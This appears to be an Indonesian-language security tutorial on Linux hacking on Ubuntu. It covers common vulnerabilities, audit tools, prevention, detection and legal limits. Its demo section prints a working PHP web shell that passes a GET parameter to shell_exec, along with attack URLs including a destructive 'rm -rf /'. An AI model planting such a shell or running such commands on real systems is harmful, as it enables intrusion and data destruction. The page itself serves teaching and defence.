Tutorial Peretasan Linux: Ubuntu Perintah & Alat
⚡ Ringkasan Cerdas
Peretasan Linux adalah praktik menemukan dan mengeksploitasi kelemahan dalam sistem Linux, dan halaman ini menjelaskan kerentanan yang menjadi target penyerang, alat audit yang terlibat, dan kontrol yang menjaga server tetap terlindungi.

Linux adalah sistem operasi server yang paling banyak digunakan, terutama untuk server web. Sistem ini bersifat open source, yang berarti siapa pun dapat membaca kode sumbernya. Transparansi ini memiliki dua sisi: pengelola menggunakannya untuk menemukan dan memperbaiki kekurangan dengan cepat, sementara penyerang mempelajari kode yang sama untuk mencari kelemahan yang dapat dieksploitasi. Peretasan Linux adalah praktik mengeksploitasi kelemahan tersebut untuk mendapatkan akses tidak sah ke suatu sistem.
Bagian-bagian di bawah ini membahas apa itu Linux, kerentanan keamanan yang memengaruhinya, dan tinjauan praktis tentang peretasan dengan Linux. Ubuntu, dan langkah-langkah penanggulangan yang dapat Anda terapkan.
Catatan Singkat di Linux
Linux adalah sistem operasi sumber terbuka. Banyak distribusi dibangun di atasnya, termasuk Red Hat Enterprise LinuxFedora, Debian, dan UbuntuKarena kode sumbernya dipublikasikan, peneliti, vendor, dan penyerang semuanya dapat memeriksanya. Penyerang menggunakan akses tersebut untuk mencari celah keamanan yang dapat dieksploitasi, sementara visibilitas yang sama memungkinkan pengelola untuk mengirimkan perbaikan lebih cepat daripada yang sering dilakukan oleh platform tertutup. Linux berjalan sebagai sistem operasi server, desktop, tablet, atau perangkat seluler.
Program Linux dapat dioperasikan melalui antarmuka grafis atau dari baris perintah. Pekerjaan melalui baris perintah lebih cepat dan lebih tepat daripada mengklik melalui GUI, itulah sebabnya penguji keamanan yang bekerja pada distribusi seperti Kali Linux Mereka menghabiskan hampir seluruh waktu mereka di terminal. Oleh karena itu, mengetahui perintah-perintah dasar merupakan prasyarat praktis.
Lihat ini Panduan Linux untuk hal-hal mendasar, dan untuk Kali Linux tutorial untuk distribusi yang berfokus pada keamanan yang dibangun di atasnya.
Kerentanan Keamanan dan Vektor Serangan Umum pada Linux
Serangan terhadap Linux jarang mengandalkan eksploitasi yang eksotis. Data telemetri yang dipublikasikan sepanjang tahun 2025 dan 2026 menunjukkan bahwa sebagian besar kompromi trackembali ke sejumlah kecil kelemahan yang berulang, dan mengetahui kelemahan tersebut akan memberi tahu Anda di mana harus memfokuskan upaya pertahanan terlebih dahulu.
- Kredensial SSH yang lemah atau digunakan kembali — Upaya serangan brute-force dan credential-stuffing terhadap SSH yang terhubung ke internet merupakan sebagian besar aktivitas berbahaya yang diamati pada endpoint Linux.
- Kernel yang belum ditambal dan kelemahan paket — Tim kernel Linux menjadi Otoritas Penomoran CVE pada tahun 2024, dan jumlah CVE kernel yang dilaporkan meningkat dari sekitar 290 pada tahun 2023 menjadi lebih dari 3,500 pada tahun berikutnya, sehingga tumpukan patch yang tertunda menumpuk dengan cepat.
- Salah konfigurasi — Akun default, daemon yang tidak perlu, file yang dapat ditulis oleh siapa saja, dan aturan sudo yang permisif memberikan hak istimewa yang tidak memerlukan eksploitasi untuk mendapatkannya.
- Aplikasi web yang rentan — kekurangan seperti Injeksi SQL dan cross-site scripting memungkinkan penyerang mencapai server melalui aplikasi, bukan melalui sistem operasi. Web shell adalah artefak berbahaya yang paling umum ditemukan pada server Linux yang disusupi.
- Bug peningkatan hak akses — kelemahan lokal yang mengubah akun terbatas menjadi akun root. Beberapa di antaranya telah bertahan tanpa terdeteksi di kernel selama lebih dari satu dekade sebelum akhirnya terungkap.
- Risiko rantai pasokan dan ketergantungan — Paket pihak ketiga, pustaka bahasa, dan citra kontainer menarik kode yang belum ditinjau oleh siapa pun di tim operasional.
Tak satu pun dari metode ini mengharuskan penyerang untuk mengalahkan Linux itu sendiri. Analisis terhadap 2025 serangan siber menemukan bahwa sekitar empat dari lima serangan tidak melibatkan malware sama sekali, melainkan mengandalkan kesalahan konfigurasi dan pencurian kredensial.
Alat Peretasan Linux
Penguji keamanan dan administrator sistem menggunakan pemindai yang sama: satu pihak untuk menemukan kelemahan sebelum penyerang melakukannya, pihak lain untuk memastikan bahwa perbaikan tersebut efektif. Alat-alat di bawah ini adalah yang paling sering digunakan untuk mengaudit host Linux.
| Alat Bantu | Tipe | Lisensi | Penggunaan umum pada Linux |
| Nessus | Pemindai kerentanan | Komersial | Memindai pengaturan konfigurasi, patch yang hilang, dan layanan jaringan di berbagai lingkungan. |
| Nmap | Pemindai jaringan dan port | Open source | Mengidentifikasi host yang berjalan di server, layanan yang mereka berikan, dan port mana yang terbuka. |
| Lynis | Audit dan pengerasan host | Open source | Melakukan audit terhadap sistem yang sedang berjalan berdasarkan tolok ukur pengerasan keamanan dan melaporkan langkah-langkah perbaikan spesifik. |
| OpenVAS | Pemindai kerentanan | Open source | Pemindaian kerentanan jaringan, yang dikelola oleh Greenbone sebagai bagian dari Edisi Komunitasnya. |
Daftar ini tidak lengkap; ini memberikan gambaran tentang alat-alat yang tersedia untuk audit. Ubuntu dan sistem Linux lainnya. Panduan lama masih merekomendasikan SARA, Security Auditor's Research Assistant, tetapi rilis finalnya berasal dari tahun 2009 dan situs proyeknya sedang offline, jadi Lynis dan OpenVAS adalah alternatif yang dipertahankan.
Aktivitas Peretasan: Meretas a Ubuntu Sistem Linux menggunakan PHP
Dalam skenario praktis ini, kita akan melihat bagaimana host Linux dapat diakses melalui aplikasi web, menggunakan PHP sebagai contoh. Tidak ada korban sungguhan yang ditargetkan. Jika Anda ingin mencobanya, instal LAMPP, versi Linux dari XAMPP, di mesin Anda sendiri.
PHP Dilengkapi dengan dua fungsi yang dapat digunakan untuk menjalankan perintah sistem operasi: exec() dan shell_exec(). Fungsi exec() mengembalikan baris terakhir dari output perintah, sedangkan shell_exec() mengembalikan seluruh hasil perintah sebagai string.
Sebagai contoh, anggaplah seorang penyerang berhasil mengunggah file berikut ke server web.
<?php $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l'; echo "executing shell command:-> $cmd</br>"; $output = shell_exec($cmd); echo "<pre>$output</pre>"; ?>
SINI,
Skrip di atas mengambil perintah dari variabel GET bernama cmd. Perintah tersebut dieksekusi menggunakan shell_exec() dan hasilnya dikembalikan di browser.
Kode di atas dapat dieksploitasi menggunakan cara berikut: URL
http://localhost/cp/konsole.php?cmd=ls%20-l
SINI,
- “…konsole.php?cmd=ls%20-l” menetapkan nilai ls –l ke variabel cmd.
Perintah pada Ubuntu Oleh karena itu, server dieksekusi sebagai
shell_exec('ls -l') ;
Menjalankan kode di atas pada server web akan menghasilkan tampilan yang mirip dengan berikut ini.
Outputnya hanya menampilkan file-file di direktori saat ini beserta izin aksesnya.
Sekarang misalkan penyerang memberikan perintah berikut sebagai gantinya.
rm -rf /
SINI,
- “rm” menghapus file.
- “rf” membuat perintah rm berjalan dalam mode rekursif, menghapus semua folder dan file.
- “/” menginstruksikan perintah untuk memulai penghapusan dari direktori root.
Serangan itu URL akan terlihat seperti ini
http://localhost/cp/konsole.php?cmd=rm%20-rf%20/
Oleh karena itu, satu parameter yang tidak tervalidasi saja sudah cukup untuk memberikan penyerang akses ke semua hak istimewa yang dimiliki akun server web. Dua bagian berikut ini bertujuan untuk mencegah hal itu terjadi, dan untuk menangkapnya ketika pencegahan gagal.
Cara Mencegah Peretasan Linux
Peretasan Linux memanfaatkan kerentanan dalam sistem operasi dan perangkat lunak yang berjalan di atasnya. Suatu organisasi dapat mengadopsi kontrol berikut, yang diterapkan bersama-sama, untuk menutup sebagian besar celah yang dijelaskan di atas.
- Manajemen tambalan — Patch memperbaiki bug yang dieksploitasi penyerang untuk membahayakan sistem. Kebijakan yang terdefinisi memastikan pembaruan yang relevan diterapkan dengan segera, bukan hanya saat seseorang ingat.
- Konfigurasi OS yang tepat — Nonaktifkan akun pengguna yang tidak aktif dan daemon yang tidak perlu. Ubah pengaturan default, termasuk nama pengguna default, kata sandi aplikasi bersama, dan nomor port default.
- pengerasan SSH — Nonaktifkan login root dan otentikasi kata sandi, izinkan hanya pengguna atau grup tertentu, dan batasi percobaan ulang otentikasi. Ini menutup titik masuk yang paling sering diserang di Linux.
- Hak istimewa paling sedikit — berikan akun dan layanan hanya hak yang mereka butuhkan, dan batasi sudo pada perintah tertentu, bukan akses administratif menyeluruh.
- Kontrol akses wajib — tetap gunakan SELinux (keluarga Red Hat) atau AppArmor (Debian dan Ubuntu) dalam mode penegakan sehingga layanan yang terkompromikan tidak dapat mencapai bagian sistem lainnya.
- Validasi masukan — Demonstrasi di atas hanya berfungsi karena data permintaan mencapai fungsi shell. Jangan pernah memberikan input pengguna ke exec() atau shell_exec().
- Firewall dan segmentasi — hanya mengekspos port yang benar-benar dibutuhkan oleh suatu layanan, menggunakan firewall dan segmentasi jaringan untuk membatasi apa yang dapat dijangkau oleh host yang terkompromikan.
- Sistem deteksi intrusi — alat-alat tersebut dapat digunakan untuk mendeteksi akses tidak sah ke sistem, dan beberapa di antaranya juga dapat memblokir upaya tersebut.
- Cadangan yang telah diuji — Cadangan offline yang dapat dipulihkan mengubah perintah yang merusak seperti di atas menjadi pemadaman sementara, bukan kehilangan permanen.
Cara Mendeteksi Sistem Linux yang Terkompromikan
Pencegahan pada akhirnya akan gagal, jadi pertanyaan kedua adalah seberapa cepat Anda akan menyadarinya. Deteksi di Linux bergantung pada pengumpulan bukti yang tepat sebelum insiden terjadi, bukan setelah insiden terjadi.
- Pencatatan audit — Kerangka kerja audit kernel, auditd, mencatat penggunaan hak akses, akses file, dan panggilan sistem dalam bentuk yang tidak dapat diubah secara diam-diam oleh proses yang disusupi. Teruskan log tersebut dari host ke pengumpul pusat.
- Log otentikasi — Serangkaian kegagalan yang diikuti oleh satu keberhasilan di /var/log/auth.log atau /var/log/secure adalah ciri khas serangan brute-force.
- Proses dan koneksi yang tak terduga — layanan penyadapan atau koneksi keluar yang tidak dapat dipertanggungjawabkan oleh siapa pun perlu segera diselidiki.
- Pemantauan integritas file — alat yang melakukan hashing pada biner sistem dan file konfigurasi untuk menandai perubahan pada file yang seharusnya tidak pernah berubah.
- Tugas terjadwal dan item startup — Pengaturan persistensi biasanya dilakukan melalui cron job, unit systemd, atau skrip profil shell.
- Akun baru atau yang dimodifikasi — cari pengguna yang tidak dikenal, akun kedua apa pun dengan UID 0, dan kunci SSH yang tidak ditambahkan oleh siapa pun.
- Direktori server web — karena web shell adalah file berbahaya yang paling umum ditemukan di server Linux, file skrip yang tidak terduga di bawah root web perlu mendapat perhatian khusus.
- Audit terjadwal — Jalankan alat audit host seperti Lynis sesuai jadwal dan perlakukan setiap laporan sebagai daftar pekerjaan, bukan sebagai latihan sekali jalan.
Jika Anda menemukan bukti adanya pelanggaran keamanan, isolasi host, simpan log dan citra disk sebelum mengubah apa pun, dan bangun ulang dari media yang terbukti baik daripada mencoba membersihkan sistem yang sedang berjalan. Aspek penanganan bukti dari pekerjaan tersebut dibahas dalam forensik digital.
Batasan Hukum dan Etika dalam Peretasan Linux
Setiap teknik di halaman ini sah untuk dipraktikkan pada sistem yang Anda miliki atau yang Anda miliki izin tertulis untuk mengujinya, dan ilegal di hampir semua tempat lain. Latihan di atas sengaja dijalankan pada instalasi lokal karena alasan tersebut.
- Otorisasi tertulis — Lingkup yang ditandatangani, jendela pengujian yang disepakati, dan kontak yang ditunjuk adalah hal yang membedakan pengujian penetrasi dari suatu pelanggaran. Persetujuan lisan saja tidak cukup.
- Tetap dalam lingkup yang ditentukan — host, rentang alamat, dan teknik yang tidak tercantum tidak diizinkan, meskipun dapat dijangkau.
- Tangani data dengan hati-hati. — bukti yang dikumpulkan selama pengujian masih mengandung data pribadi yang sebenarnya dan harus disimpan dengan aman serta dimusnahkan setelahnya.
- Laporkan secara bertanggung jawab — Ungkapkan temuan kepada pemilik dan berikan waktu untuk perbaikan sebelum mempublikasikan apa pun.
Risiko hukumnya nyata: akses tanpa izin ke sistem komputer merupakan tindak pidana berdasarkan undang-undang seperti US Computer Fraud and Abuse Act dan UK Computer Misuse Act. Jika Anda ingin membangun karier berdasarkan keterampilan ini, ikuti jalur yang diakui — sebuah sertifikasi keamanan ditambah laboratorium yang Anda miliki sendiri, bukan server milik orang lain.

